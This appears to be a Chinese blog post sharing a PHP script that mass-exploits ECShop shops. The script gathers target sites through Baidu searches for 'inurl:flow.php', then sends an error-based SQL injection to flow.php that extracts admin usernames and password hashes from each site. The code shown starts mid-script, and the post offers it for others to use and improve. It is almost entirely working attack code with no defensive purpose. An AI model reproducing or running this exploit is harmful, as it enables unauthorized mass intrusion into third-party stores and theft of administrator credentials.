EC Shop 批量注入EXP

昨天本站发布了小龙大神的小龙web漏洞扫描器V1.0,瞬间亮瞎了你的钛合金眼，有木有，有木有？本着学习的精神，研究了一下软件中集成的EXP，自己用PHP折腾了其中ecshop的批量注入EXP，共享给大家玩玩。

EC Shop批量注入EXP说明：

1、本EXP可自定义百度搜索关键字，比如：inurl:flow.php

2、自动获取URL结果，默认是20条，可自己更改，建议不要超过20条，很慢的。

3、获取的结果保存于list.txt中，注入的时候会自动去除重复的域名。

4、支持中文结果显示。

5、脚本执行速度不快，请大神们帮助改进一下。

/i', $content, $match)) {
    echo '共获取了' . count($match[2]) . "条结果。\n";
    foreach ($match[2] as $value) {
        echo getRealUrl($value);
        $fp = fopen('list.txt', 'a');
        fwrite($fp, getRealUrl($value));
        fclose($fp);
    }
}
//for ($i = 0; $i < count($match[0]);$i++){
//    echo $match[1][$i] . getRealUrl($match[2][$i]) . '
';
//}
$exp = 'goods_number%5B1%27+and+%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%280x23,user_name%2C0x7c%2Cpassword,0x23%29+FROM+ecs_admin_user+limit+0%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1+%23%5D=1&submit=exp';
$ar_result = file('list.txt');
$ar_result = array_unique($ar_result);
//print_r($ar_result);
for ($i = 0; $i < count($ar_result); $i++) {
    $host = trim($ar_result[$i]);
    if (preg_match('/Duplicate entry \'#(.*)#1\' for key/i', send_pack($exp), $match)) {
            echo '批量注入结果：' . $host . '|' . iconv('utf-8', 'gbk//IGNORE', $match[1]) . "\n";
        }
}
//获取百度真实URL函数
function getRealUrl($url)
{
    $header = get_headers($url, 1);
    //print_r($header);
    if (strpos($header[0], '302')) {
        if (is_array($header['Location'])) {
            $p_url = parse_url($header['Location'][0]);
            return $p_url['host'] . "\n";
        } else {
            $p_url = parse_url($header['Location']);
            return $p_url['host'] . "\n";
        }
    } else {
        return $url . "\n";
    }
}

//发送数据包函数
function send_pack($code)
{
    global $host;
    $data = "POST /flow.php?step=update_cart HTTP/1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "User-Agent: BaiduSpider\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: " . strlen($code) . "\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $data .= $code . "\r\n";
    //echo $data;exit;
    $fp = @fsockopen($host, 80, $errno, $errstr, 10);
    //echo ini_get('default_socket_timeout');//默认超时时间为60秒
    if (!$fp) {
        //echo $errno . '-->' . $errstr . "\n";
        echo 'Could not connect to: ' . $host;
    } else {
        fwrite($fp, $data);
        $back = '';
        while (!feof($fp)) {
            $back .= fread($fp, 1024);
        }
        fclose($fp);
    }
    return $back;
}

//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo '脚本执行时间：' . round((func_time() - $start_time), 4) . '秒';
?>

小龙web漏洞扫描器V1.0

from www.waitalone.cn.thanks for it.